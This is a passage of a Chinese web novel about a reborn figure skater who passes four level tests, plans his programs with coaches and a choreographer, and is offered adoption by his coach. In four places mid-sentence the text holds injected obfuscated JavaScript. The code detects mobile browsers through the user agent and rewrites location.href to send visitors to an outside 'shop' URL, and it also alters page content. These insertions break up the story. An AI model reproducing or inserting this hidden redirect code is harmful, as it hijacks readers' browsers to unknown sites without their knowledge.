“我确定。”上一世,在发育和伤病的双重影响下,萎靡两个赛季一度被认为远离赛场即将退役的自己,凭借自由滑《Believer》赢得落选赛,拿下冬奥参赛资格,向大众宣告了他的回归。 “好,那自由滑先定下这首。”邝辉在笔记本记下,“短节目曲子也听听,都确定好之后联系音乐制作人,把不同版本剪出来。” 舒望继续浏览列表。自由滑选了激昂澎湃的摇滚,短节目需要一些反差。他的目光落在了一首名为《Experience》的曲子上。 点击播放,简洁而富有感染力的钢琴旋律流淌出来,情感饱满,节奏清晰富有变化,给步法编排提供了充足的发挥空间。 “这首,短节目《Experience》。” 邝辉凑近看了看,点头:“艾奥迪的曲子,不错。情感充沛,节奏变化多,适合用来展示步法。风格也跟自由滑不一样,能展现你的多面性。” 短节目和自由滑曲目敲定,接下来要考虑的就是考级的事了。 “《Experience》和《Believer》都需要根据等级测试各级别的时间要求,剪出不同长度的版本,你的短节目和自由滑先不急,等这次考级结束后再开始。”裴立伟收回平板,“我这就联系制作人,把初步想法和时间要求发过去,争取尽快拿到几个版本的小样。这期间,把测试要求的具体动作过一遍,把动作填进去大致编出节目。这个不用找编舞老师,你们自己讨论着看怎么滑的更舒服美观,差不多就可以了。” 目标明确后,接下来的日子,舒望的生活被训练占满。 等级测试的要求,对他而言没有技术难度。步法不用提,自由滑从最开始的一个半周跳到四级的一周半加一周连跳和上手姿态。这些动作,无需思考,身体本能就可以完成。所以说是讨论,实际上也就是按着考级内容要求把动作塞进那些音乐片段里。 真正的挑战在于记忆。已经是三月末了,第一站四月初开始,他需要在极短时间内,记住四套步法图案和四套自由滑节目。邝辉成了他的专职教练,将手下的学员拜托给其他教练,专心帮他梳理各级测试大纲,陪着他在冰上逐一填空。 “这里,自己数好拍子,听音乐什么时候进。对,就是这个感觉,但手臂可以再打开一点,跟上旋律的起伏。” “四级自由滑,勾手跳结束后直接进旋转,反直立转双臂上手姿态也加上,圈数宁多不少。注意旋转前的滑出弧线,别失速。” 过程顺利得让邝辉都时常咋舌。舒望的学习速度和执行力高得惊人,往往只需要演示或讲解一两次,他就能准确复现,并且找到最适合自己的动作执行。那份熟练,不像一个从头学习新节目的人,更像是重复过这种流程无数遍,已经习以为常了。 “你这小子,以前是不是考过级,学这么快。”邝辉半开玩笑道。 舒望只是摇头,专注地看着冰面,脑海里同时过着两套不同级别的节目衔接。他必须确保在考场上,音乐一响,对应的就是正确的动作,不能有任何混淆。 冰场外,裴立伟联系的制作人效率很高,几天后就发来了《Experience》和《Believer》的多个版本小样。拿到音乐的当晚,舒望在宿舍里,将两个曲子的完整版以及各个剪辑版本反复聆听,构思着正式比赛时应该怎样编排。 《Experience》带着强烈的叙事感,好像暴雨前,黑压压的乌云遮天蔽日,空气都带着沉重,忽然,音符像雨滴一样落下,一滴、两滴……渐渐风大起来了,暴雨倾泻,整个世界被水淹没,水中寂静无声。节奏渐渐急促最终归为平静,情感表达层层递进。听着听着,舒望闭上眼睛,过去的画面浮现。赛后采访中不甘的宣泄,从不缺席的训练,一次一次失败又无法放弃的自己。这套节目,不应该只是技术的展示,它会成为自己对花滑再次发起冲锋的号角,宣告自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311141|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的登场,带着那份未完成的不甘。 跳跃的安排……开场三周半,干净利落,契合音乐初时的坚定。中间安排勾手三周接外点三周的连跳,在音乐情绪上扬时爆发……用深刃和大弧线来描绘旋律的线条。最后联合旋转,上手姿态单足直立旋转结束,定格音乐归于静默的瞬间。 而《Believer》,它强劲的鼓点和嘶吼般的演唱,可以点燃任何观众。这首歌对他意义非凡,是他在绝境中的战歌,是他向命运抗争的拳头。这一次,他将用这首歌这套节目让所有人记住他。 这套自由滑,必须充满力量感和侵略性。开场的编排就要有张力,配合音乐急促的节奏,上肢动作和脚下滑行都必须足够出彩。跳跃要追求更高的高度和更远的滑出,尤其是那个标志性的阿克塞尔,放在节目后半段,配合歌词中最高昂的呐喊部分,将会点燃这片冰场。编排要设计得充满戏剧性和表现力,将歌曲中那种痛苦挣扎,最终冲破一切成为信徒的过程,用肢体淋漓尽致地展现出来。 他甚至在脑海里开始勾勒一些具体的动作,跳跃落冰后顺势提刀,做提刀燕式接规尺步,滑行中模仿挣脱束缚的伸展与蜷缩的肢体,结尾定格时那锁定前方充满野心的眼神…… 这两套节目,短节目是内敛的叙事诗,自由滑是外放的宣战书。它们会为自己带来胜利,他知道。 第二天,当舒望带着他听音乐后的一些初步构思,找到裴立伟和邝辉时,二人都有些惊讶。他们原本只是让舒望先熟悉音乐,具体的编排细节等之后再一起讨论打磨。 “教练,关于短节目和自由滑,我有些想法。”舒望将自己的笔记本摊开,上面是他昨晚写写画画的记录,包括大概的跳跃安排、旋转设计意向以及一些对曲子情感的理解和感受。 裴立伟和邝辉看着笔记,听舒望用沉稳的语气阐述自己的构思。 随着舒望的讲述,裴立伟和邝辉眼中的惊讶逐渐变成了惊喜和深思。这些想法,已经超出了一个刚刚接触新节目,甚至说刚刚开始系统训练的少年应有的范畴。不仅仅是能滑会跳,他还具备优秀节目编排意识和艺术理解力。天才,生来就属于这项运动的天才。 “这些都是你听音乐时想到的?”裴立伟问,语气带着探究。 “嗯。”舒望点头,“听着音乐,感觉动作和情绪应该那样走。” 邝辉用力拍了拍舒望的肩膀,脸上是毫不掩饰的赞赏:“好小子!真有你的,这些想法很棒,很有灵气!比我们原先预想的框架要丰富得多!” 裴立伟也露出了笑容:“看来,我们对你的了解还是不够。这些想法可以作为我们下一步和编舞老师沟通的基础。不过,”他话锋一转,提醒道,“想法是好的,但最终落实到冰面上,还需要考虑你现阶段的能力。有些过于复杂的编排,可能需要简化。” “我明白。”舒望很清楚理想与现实的差距,“这些只是初步想法,需要教练和编舞老师帮忙调整到最适合我的状态。” “这就对了!”邝辉高兴地说,“有想法肯思考,这很宝贵。等这次测试结束,就联系音乐制作人和编舞,把你的比赛节目打磨出来。” 离开办公室,舒望走去冰场,阳光洒在身上,暖洋洋的。等级测试他会圆满通过,那之后,才是他真正要奔赴的战场。 5. 第 5 章 日子像按了加速键,舒望的生活变成吃住训练三点一线的高强度循环。除了基础训练,大部分精力都投入到了测试节目中。 第一站等级测试,承办单位冰场所在城市就在邻省,裴立伟和邝辉都陪着舒望一同前往。候考区里,大多是家长陪同的少年选手或独自参加的成年人,穿着考斯滕或训练服,脸上带着紧张或兴奋的神情。舒望一身黑色训练服,安静地坐在角落,戴着耳机,里面没有任何声音,同时将外界的嘈杂隔绝在外,手指敲在膝盖上打着拍子,脑中回想着即将表演的步法图案。 “准备一下,下下一个就到你了。”邝辉走过来轻轻拍了拍舒望,提醒他去热身。 地面热身没一会,就听到广播通知下一组运动员入场练习,舒望起身脱下刀套和外套,进场。他是本组第一个考核的,练习结束,其他人下场,舒望滑向起点,站定。冰面很干净,反射着顶棚的灯光。他深吸一口气,朝裁判席方向微微点头示意。 基础级步法没有配乐,他只需要滑出规定图案,展示基础用刃。对他而言,这跟呼吸一样自然。左右侧蹬冰滑行、左前交叉步、左右脚单足支撑滑行,弧线饱满,用刃清晰深刻,滑行流畅平稳。 裁判席上,几位裁判低头在评分表上记录着。舒望滑完最后一个规定弧线,停在终点完成节目,然后安静地滑回场边。整个过程没有一丝多余动作,表现完美得如同教科书。能听见场边几个小选手的惊叹。 “好高,这么大还考基础级吗?” “他滑得好稳啊……” “好漂亮,真有气质,绝对过了吧。” 成绩暂时还没出来,等下午自由滑测试结束后晚上统一公布。 自由滑几乎是舒望的个人秀,没有规定图案的限制,华尔兹跳高度惊人,刹一看会让人误以为是阿克塞尔起空了,经过半场的燕式巡场足以让人清楚他的滑行功底。不出所料,步法和自由滑都顺利通过,出成绩的瞬间,邝辉赶紧报名下一站测试。 可能是为了方便全国各地参与测试的考生,四站分别在南方两站,北方两站,交错举行。很贴心,但是对舒望这种四站都要参加的选手就比较麻烦了,四月一整个月他和邝辉都耗在赶场上,车站飞机场酒店都留下了他们的身影,日常的训练也都是忙里插空。 第二站,在首都华京,一个稍远的北方城市。气候干燥,冰场的温度似乎也更低一些,冰面感觉比第一站的硬,舒望他们考前几天提前到达,练习适应过几次,没什么影响,照样一次通过。运气很好,不知是不是项目实在冷门的原因,连着两站报名人数都不多,让他可以一天内完成两项测试,可以更快抓紧时间赶往下一个站点。 后面两站,舒望见到了好几个眼熟的小选手,大概也是通过上次测试后继续追级的,又不想天南海北的到处赶,所以只报了同在南方或北方的两站。 最后一站,冰城。华国冰雪项目老牌强省,也是国内冬季运动的重要基地,人才梯队在全国数一数二。刚下飞机,一股干燥冷冽的空气便扑面而来,与江宁省温润的冬季截然不同。 这边考级现场的氛围也较之前几站截然不同,身处其间,舒望能感觉到一股无形的压力在周围环绕。观众席稀稀拉拉坐着些人,有真正热爱这项运动的人在观望那些小苗子。 邝辉搓了搓手,对舒望低声道:“冰城是花滑大省,裁判眼光也毒。不过是你的话就绝对没问题,别紧张,按平时练的来。”旁边有同样带着学员来参加测试的教练走过来和邝辉打招呼,舒望走到一旁开始热身,给教练们叙旧空间。 步法四级测试开始,《Experience》前奏响起,舒望脚下滑出,刀刃深深切入冰面,留下流畅清晰的弧线。复杂的步法图案在他脚下精准展开,与音乐的起伏丝丝入扣。他的上身姿态自然舒展,手臂动作随着旋律延伸,不是机械地完成图案,而是带着表演意识。裁判席上,有人轻轻点头。 自由滑测试安排在下午。或许是连日奔波积累的疲惫,或许是冰场温度偏低,热身时舒望感觉小腿肌肉有些发紧。他做了几个简单的拉伸,慢慢调整呼吸。 舒望自由滑节目的起始动作很简单,只是垂首站立,随着《Believer》第一个鼓点落下,他猛然抬头,手臂展开,脚下用力一蹬,整个人如离弦之箭般滑出。开场接续步配合着密集的鼓点,速度快,变向多,上肢动作充满力量感,瞬间抓住了所有人的眼球。尽管只是四级自由滑,没有什么高难度动作,但舒望那扑面而来的表现力还是让人眼前一亮。最后一段,音乐推向最高潮,舒望一个大弧线加速,莫霍克转入反直立旋转,转速极快,姿态标准,在最后一个音符落下的瞬间,稳稳刹停,抬头,目光灼灼地望向裁判席方向。 观众席传来几声鼓掌,这样高质量的节目值得鼓励。 “你们省队新招的男单?这么大才考四级?有点晚了吧。” 邝辉掩不住面上的喜色,嘴角微微上扬:“呵呵,你懂什么,按今年等级测试规则,下半年考完,我们舒望明年就参加全锦赛了。” “这么自信,这次过了四级,下半年也就四站,得一次都不失误才行吧。还不一定能刷到最低技术分。”邝辉旁边,穿着一身白色长款羽绒服的教练语气带着调侃,“说真的,怎么回事这个岁数来考四级,虽然看着没成年但也不小了啊。” “机缘巧合,”邝辉也正了正神色,认真道:“人家在冰场跳阿克塞尔三周,给我和老裴撞见了,一聊发现出了意外失忆了,现在挂在我们省队,给注册了个临时运动员身份,啥记录没有都得从头开始。但说实话也是我们捡到宝了,难度储备惊人,出四周板上钉钉的事。” “我靠,编故事呢,你别是诓我的吧。”羽绒服教练满脸惊讶。 “没那必要,你等着看吧,我们江宁男单也有能上台子的了。”邝辉没再回复,转头给退场的舒望递去硬刀套,又给他披上外套。 结果毫无悬念。当天晚上,网站更新了本站测试结果,至此,二零一六年度第一次国家花样滑冰等级测试四站全都零失误通过。 “走,带你吃顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311142|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的,前几站比较赶,这次考完有时间咱们去吃点当地特色。”邝辉边收拾回去的行李,一边说着过会的安排,“明天就得回去了,这次时间太紧了,下次有时间我带你到处逛逛。” “没关系,我们早点回去还能早点开始编正赛节目。”舒望低头仔细擦拭冰刀,套好软刀套后将鞋子认真放回包里。 “哈哈,迫不及待想见到新节目了是吧。” 郫县app,花样滑冰频道。 【选手讨论|我朝也有表演欲强,表现力好的选手】 今天去看了等级测试,本来是想看省队和俱乐部那些小皮子的,结果发现了个宝藏。进场的时候以为这个小孩是业余考级的,上冰练习的时候就他最高,一堆萝卜头里海拔突出的很明显,但是长得好看所以多注意了一下。(一开始还以为是女生,头发到腰了感觉,结果是男生欸)没想到他的节目特别绝,用的是ImagineDragons的《Believer》,摇滚真的很炸场啊!当然他滑得也特别好,全程看的我心潮澎湃热血沸腾!拍了一小段视频欣赏:[自由滑Believer],渣像素看不清脸应该没关系吧。 1L:沙发!等级测试?哪一站啊?最近确实好几站在进行。 2L[楼主]回复1L:冰城站最后一天下午那场,自由滑四级。 3L:四级?散了吧散了吧,能不瞎吹吗? 4L:楼上看视频没,真挺不错了,隔着屏幕我都能感觉到情绪。人又不是一辈子四级。 5L:点开前:四级能有多炸?点开后:这用刃深度,这滑行速度,这合乐能力,你跟我说这是四级测试? 6L:路人表示有被安利到,首页刷到,虽然看不清脸但身段和动作真的好看,感觉是很有气质的小哥哥。 7L:头发到腰的男生?还滑这么好,有没有人扒一下是谁啊?冰城本地苗子?还是外省的? 8L[楼主]回复7L:不是冰城的,他教练我不认识,当时我离他们那边距离有点远就没过去问TT 9L:盲猜一个江宁省的?最近听说他们省队好像挖了个不错的苗子,但没具体消息。 10L:不管哪儿的,这表现力真的稀缺。咱们男单不缺能跳的,缺这种能演的啊!希望好好培养,别浪费了灵气。 11L:只有我注意到他的跳跃高度吗?那个阿克塞尔,感觉比好些人三周跳都高……这身体素质。 12L:楼主运气真好,考级现场捡到宝。这视频我存了,等小哥将来比赛出名了,这就是考古珍品。 13L:已收藏此帖,蹲一个选手信息。这种风格的男单,只要技术不拉胯,比赛绝对吸粉。 …… 22L:mark一下这个帖子。等一个名字,等一个后续。 23L:同mark。顺便,只有我一个人觉得他长发造型很好看吗?很有辨识度,只要不影响跳跃,留着也挺有个人风格的。 24L:+1,长得好看也是天赋啊,花滑毕竟是艺术运动。 6. 第 6 章 从冰城飞回江宁的航班上,舒望靠着舷窗,窗外面旭日东升,云层被阳光映得金黄。他手里握着手机,屏幕还亮着,上面是华国花样滑冰协会官网等级测试查询结果:步法四级已通过,自由滑四级已通过。 旁边的邝辉已经睡着了,打着轻微的鼾声,脸上还带着奔波后的疲惫,但嘴角似乎还留着些许笑意。这一个多月,最累的其实是教练,吃穿住行和训练,方方面面都是他去打点,舒望轻轻将毯子往邝辉身上拉了拉,也合上了眼。 四级,只是起点。但这一步,他走的稳当。这四站测试,不仅让他离梦寐以求的赛场更近一步,也在某种程度上,向自己、向所有人证明了这具身体的可靠。那种对冰面的掌控力,对音乐的感知力,对节目的表演欲,并未因身体的改变而消失,反而在这具健康年轻充满可塑性的身体里,焕发出新的生机。 回到江宁省队,已是深夜。宿舍楼静悄悄的,只有走廊的声控灯随着他们的脚步声亮起。邝辉把舒望送到门口,拍了拍他的肩,“什么都别想,好好睡一觉。明天给你放半天假,下午再开始训练。” “谢谢教练,您也早点休息。” 推开门,熟悉的气息扑面而来。房间一如走前的样子,整洁干净。他离开前收拾得认真,回来时除了些许灰尘也没什么需要打扫的。舒望放下行李,没有立刻洗漱,他走到窗边,望向外面被路灯勾勒出轮廓的训练馆,冰场就在那里面。一个多月辗转五地,此刻回到这个临时的住处,心里竟生出股安定的感觉。 第二天下午,舒望准时出现在冰场。一个多月的高强度赶考,身体确实积累了不少疲惫,但更多的是离目标愈发接近的兴奋。刚走进训练馆,就听到郁梓睿浮夸的声音: “哟!咱们考神凯旋,终于回来了啊!” 鄢宇航在旁边轻笑,堂榕融也滑了过来,笑着问:“舒望,听说你四站一次全过,太厉害了吧。” “嗯,运气好。”舒望点点头,开始换冰鞋。 裴立伟和邝辉一起走了过来。裴立伟手里拿着一个文件夹,面色比往常更严肃了些。 “舒望,休息得怎么样?” “很好,教练。” “不错,这次考级顺利结束,值得肯定。”裴立伟打开文件夹,“接下来就是下半年的第二次测试,必须全部通过。到明年七月举办的俱乐部联赛,时间满打满算,不过一年多。在这期间,”他顿了顿,“你和所有省队队员一样,要准备七月份的队内测试赛。” “所以,从今天开始,你的训练重心要全面转向为正式比赛准备的短节目和自由滑。”邝辉接过话头,“编舞老师下周就到,我们要把短节目和自由滑的完整比赛版本敲定下来。这之前,我们需要把两个节目的技术构成确定一下。” 裴立伟抽出一张纸,上面是初步规划的时间表。“这是接下来两个月的训练和节目打磨计划,强度会很大。你还在发育,训练和恢复都要科学合理,我和邝辉会密切关注你的各项数据的。” 舒望接过计划表,快速浏览。密密麻麻的安排,从清晨的陆地训练和专项体能特训,到冰上技术的打磨及节目合乐,再到晚上的舞蹈课,甚至还穿插着点文化课学习。强度确实远超考级期间。 “我没问题,教练。”他将计划表折好,语气平静而坚定。 “好。”裴立伟眼中闪过赞赏,“那就开始吧。今天下午,先简单上冰找找冰感。把考级用的那些编排忘掉,回忆一下你之前对那两套节目的构思,还有什么新的点子都可以想一想。” 下午的冰场,舒望没有练习那些难度动作。他沿着场边匀速滑行,让身体重新熟悉这片久违的冰面。滑完几圈后,他的脑中开始播放《Experience》的旋律。 伴着脑中的音乐,脚下自然而然地在冰面勾勒出大致的图案,上肢也随着情绪随性摆动,虽然没有正式编排,但整个人的状态已经沉浸在曲子营造出的氛围里。在冰场上旁若无人般尽情舞动,舒望觉得自己心中好像有很多要表达的,仔细感受却也什么都没有,所想所做一切皆随本能。 接着是自由滑,脑内鼓点一起,舒望脚下的节奏立刻变了。蹬冰更有力,滑行速度骤然提升,变向果断,简单的两周跳,避免跳跃失误中断情绪,加上接续步和身体的律动,那股充满力量感和抗争意味的感觉已经扑面而来。他甚至下意识地在某个旋转预备动作时握紧了拳头,眼神变得锋利。 “这小子……”邝辉低声道,“简直是为花滑而生的。” 裴立伟缓缓点头:“更难得的是,他能清晰地区分开两套节目的风格,快速切换细节动作。这种艺术感知和表演,是教不出来的。” 恢复训练几天后,编舞老师如约而至。是一位四十岁左右,气质优雅干练的女性,姓沈,在国内花滑编舞领域小有名气。裴立伟和邝辉将舒望的情况以及两首曲目的选择,舒望自己的初步构思都详细向她做了介绍。 沈老师没有立刻下结论,而是先让舒望在冰上,跟着完整音乐,自由地滑行,做一些基础动作。“不要想编排,只是感受音乐,让你的身体跟着音乐走。”她这样要求。 舒望照做。《Experience》的琴音流淌,他的滑行变得舒缓,带着流动的韵律,手臂动作自然而舒展,偶尔会在不经意间流露出一种与年龄不符的沉淀的坚守。而当《Believer》响起,他瞬间化身成充满爆发力的战士,每一个动作,每一次停顿都蓄满力量,眼神灼亮。 沈老师静静地看了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311143|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,冰场边只有音乐和冰刀划过冰面的声音。两首曲子放完,她示意舒望过来。 “我明白裴教练和邝教练为什么这么看重你了,舒望。”沈老师开口,语气温和带着专业,“你有非常出色的乐感和身体表达能力。你知道音乐的情绪,你能表达出节目的情感,你不仅仅是在做动作,你在给观众讲故事。这很难得。” 接下来的几天,训练馆的舞蹈室和冰场成了舒望,编舞老师以及两位教练的常驻地。每一段音乐都被反复聆听分析,每一个技术动作的排放都要经过精心考量。 《Experience》的编排,沈老师肯定了舒望将阿克塞尔三周放在开场的想法,她细化了中间的步法衔接,加入了更多细腻的手臂和头颈动作,来描绘旋律中暴雨将至的压抑和雨滴落下时尘埃落定大幕拉开的沉重。对于后半段情感爆发后的部分,她设计了一段大一字滑行加捻转步的编排,用来体现那种在风暴中挣扎却不屈服的感觉。最后的联合旋转,她调整了姿态变换的顺序,加入了新的难度姿态,使其更贴合音乐归于寂静的尾声。 《Believer》则更加注重力量和节奏的冲击。开场接续步被设计得更加复杂,更有冲击力,几乎占满整个冰场对角线,充分利用舒望出色的滑行速度和用刃。跳跃的安排被精心分布在音乐情绪推进的关键节点,勾手三周接后外点冰三周的连跳放在第一次副歌高潮,计划中的后内点冰则被暂定在第二次副歌前那段充满嘶吼的间奏之后,作为情感和技术的双重爆点。整个节目的冰面覆盖率奇高,沈老师还特别强调了肢体语言的戏剧性,设计了许多充满张力的定格动作和模仿挣脱抗争的姿势,要求舒望在完成高难度的同时,绝不能丢掉表情和眼神的表达。 “你的头发,”沈老师甚至在一次编排间隙提到,“可以成为你的特色,能够让裁判对你印象更深,更容易记住你。” 编排的过程是繁琐枯燥甚至是有点痛苦的。一个简单的衔接动作,可能为了达到最理想的流畅度和表现,要修改几十次。合乐训练时,经常因为一个步法进音乐的时间差了零点几秒,或者一个旋转的圈数不够清楚,而反复重来。舒望的汗水浸湿了一套又一套训练服,小腿肌肉因为频繁的起跳和落冰而酸痛,脚踝和膝盖承受着巨大的压力。 但他没有一丝怨言。每一次修改,他都认真聆听,努力理解,然后以最快的速度在冰面上呈现出来。他的专注和执行力,让见多识广的沈老师也频频点头。 “这孩子,目标很清晰。”一次休息时,沈老师对裴立伟和邝辉说,“他很清楚自己要什么。他不是被动地接受编排,而是在消化吸收后,变成他自己的东西。这样的选手,只要身体不出现什么大问题,将来赛场上的感染力会非常惊人。” 7. 第 7 章 七月,蝉鸣声起,盛夏将至。 “诶,明天就是测试赛了,听说这次上面有领导会来看咱们节目。”郁梓睿靠在挡板,和旁边正在喝水的鄢宇航随口聊道。转头看见舒望也滑到挡板附近准备休息,开口招呼他过来,“舒望,你节目准备怎么样了?我是没招了,配置估计还得改,现在的难度稳不下来,得降难度,砍点编排,赛季初先保clean,看后面熟悉了能不能重新加上去。” “别管什么赛季初不赛季初的了,还有两个月呢,明天测试赛滑不滑得下来比较重要吧。”鄢宇航咽下口中的水,语气敷衍。 “你能别说风凉话吗?听到你说话就烦,又没问你。” “还行,节目编的差不多了目前。场下合乐看着效果不错,等之后比赛了可能还会再改改,明天测试赛应该没什么问题。” “这就是胸有成竹的自信啊。”郁梓睿语气带着一丝羡慕,“唉,我什么时候能有这种自信呀?烦。” 在省队训练的时间不短,舒望和其他队友之间的相处也变得融洽起来。尤其是队里还有个喜欢聊天的同项目选手,经常带着他和他的朋友一起过来聊天。就这样,几人也慢慢熟悉,闽奕泽这段时间比较忙碌,他现在高二马上结束,即将高三备战高考,学习训练两手抓,在队里训练的时间都不多,更别提和他们闲聊了。 “咱们队里花滑也就一对双人,四个男单,两个女单。挂靠的也不知道会不会回来,搞不懂这次测试赛要干嘛?一天就能比完,也就我们男单竞争比较激烈,有个第四,其他的不稳前二嘛。” “测试赛又不打分不颁奖,前几没什么差别吧。应该就是看我们节目磨合得怎么样了,大概摸个底。”鄢宇航放下杯子,猜测道,“看看水平。” “舒望,你们学校最近期末考了没?马上放暑假了,终于可以好好放松放松了。” “没。” 队里其他人不清楚舒望来历,只知道他是突然空降省队的,很多事情都不清楚。他目前没有在学校借读,这段时间,裴立伟给他安排了网课老师进行线上授课,担心他后面上学跟不上进度。值得庆幸的是初中内容对曾经经历过高考的他来说不太困难,那些简单的知识点也没有随着时间流逝而被遗忘,老师第一节课就让他做了套初一的试卷,虽然没有满分那么优秀,但也能拿个良好。 前段时间,裴立伟找过他。三个月过去了,警方那边仍没有查询到关于他身份的相关信息,也没有关于他父母的资料。裴立伟私下和妻子讨论过,想收养舒望,他和妻子因为事业规划和身体问题当初结婚的时候就决定了不要小孩,警方那边意思这种情况舒望最后会在所在地福利院的集体户上落户,因为舒望已经年满八周岁,所以也看他自己愿不愿意被其他人领养。他这种情况,身体没有残缺加上智力也正常,还是很容易被收养的。 “舒望,坐。”裴立伟将他带到自己的办公室,办公室里不止有他,还有一位穿着得体,气质温和的女士。裴立伟给舒望介绍说是他的妻子,姓谭。谭阿姨对他笑了笑,脸上神情温和。 “关于你的身份,警方那边目前还是没有进展。按照规定,如果长期无法找到亲属,你会被转入福利院,在集体户落户。”裴立伟比平时更加温和,语气带着正式。 舒望的心微微提了起来,没有发言,他安静地听着教练说话。 “我和我的妻子商量了很久,”裴立伟的声音放得更缓,带着一种郑重的意味,“我们想正式收养你,舒望。” 本来就有所猜测,自己好似钻了这世界的什么漏洞,凭空出现在冰场,有了再一次的生命,再一次的未来,所以无法搜寻到亲属是很正常的。自己已经足够幸运了,被教练直接带进省队少去了一通磋磨,也有想过身份,不可能永远是临时运动员,或许会被救助机构、福利院认证,到时候落户有了正式身份也不会影响他在省队的训练,但他没想到,裴立伟教练竟然会想要收养自己。当初要不是裴立伟和邝辉在冰场发现注意到了他,带他办了一系列手续,他和花样滑冰不会那么快重新结缘,他踏上职业选手的道路也不会那么顺利。 “不用现在就给我们答案,不要因为觉得我们关系好意气用事,回去好好想一想,问问自己内心。测试赛之后再告诉我答案。” “舒望,你最近好像长高了。”谭丹眼神温柔的扫过舒望。收养这件事不是裴立伟这几天突然和她提起的,在五月份的时候,裴立伟在家里就有和她聊到过,警方一个多月还没查到任何信息,大概率最后是不会有结果了。 起初谭丹觉得丈夫是不是事业心太强,好不容易碰到一个天分好的,想培养出冠军想疯了,才冒出这个念头。但她后来自己也来省队看过几次训练,看到孩子在冰上专注的眼神,在场下安静内敛的样子,听老裴说他学东西快又肯吃苦,对自己狠,训练从不偷懒划水,心里也有些发软。尤其是想到他什么都不记得,孤零零一个人,以后可能要去福利院,她就觉得不是滋味。 “是长高了点,三个月前还是167.9厘米,上个礼拜测已经168.5厘米。”裴立伟接过话,语气比刚才轻松了些。 谭丹点点头,看着眼前清瘦却挺拔的少年,语气愈发柔和:“训练很辛苦吧?要好好休息啊,有什么事,都可以和我们说,别憋在心里。” 舒望心里涌起一股陌生的暖流。这种细致入微的关心,不说这一世,上一世爸爸去世后,妈妈为了她,为了扛起生活的重担加上自己也不愿让妈妈多操心,报喜不报忧,只是每次见面妈妈都会说她变瘦了,距离这些原来已经隔了那么久吗。他张了张嘴,最后只是认真地回答:“嗯,我知道,谢谢阿姨。” “测试赛好好比,别紧张。”裴立伟站起身,拍了拍舒望的肩膀,恢复了平时的干练,“就像平时训练一样滑就行。其他的事,比赛完再说。” 从办公室出来,走廊里已经安静下来。舒望去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311144|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食堂吃完饭,慢慢走回宿舍,走进自己的房间,关上门,背靠着门板站了一会儿。 测试赛当天,冰场看台上果然多了几张陌生而严肃的面孔。队内气氛比平时紧绷,连最爱说笑的郁梓睿都安静了不少,反复检查着自己的鞋带和服装。因为是明年正式开始比赛,舒望还没有准备节目的考斯滕,依旧穿着一身黑色训练服,头发倒是用了心,不是简单的马尾辫,精心辫好辫子落在脑后,用蓝色的带子绑好。发尾留了一只手的长度,和发带跟着舒望动作时晃动。 “头发留了几年啊?”郁梓睿还是忍不住,被辫子吸引了注意,胡乱说些什么缓解压力,“我们学校规定不让男生留长发,我这侧分都是踩线。” “三年吧,学校还管你们头发?”舒望把头微微后仰,感受辫子坠在脑后的重量,轻轻甩了甩头,发丝和带子也随着左右荡了荡。 “规章制度定死了的,教导主任又不会因为我在就不检查了。” “少卖惨,被抓了也没拉着你去剪掉啊,之前染发怎么没见你那么遵守校规。”鄢宇航脱下外套,在场边跳绳热身,测试赛上场顺序是抽签决定的,他等下第一个上场。舒望抽到第三个上场,下午自由滑也是一样的顺序。 “是挑染!就那么两缕,染的还是深蓝色,我自己睡一觉起来都看不见在哪。” 短节目表演中规中矩,没出现失误,将他目前最高难度展现出来了。中午休息的时候,有几个领导跟着教练过来和选手简单交谈了几句,多是鼓励和例行询问。领导们的目光在舒望身上多停留了片刻,显然测试赛前就已经听闻了些关于这个空降天才的传闻。 舒望回答得礼貌而简短,神情平静,不见局促。裴立伟在一旁看着,眼中闪过一丝不易察觉的宽慰。 午餐时,郁梓睿凑过来,压低声音:“看见没,刚才那个戴眼镜的领导,是中心分管冰雪项目的副主任。舒望,我感觉你被重点关注了。” 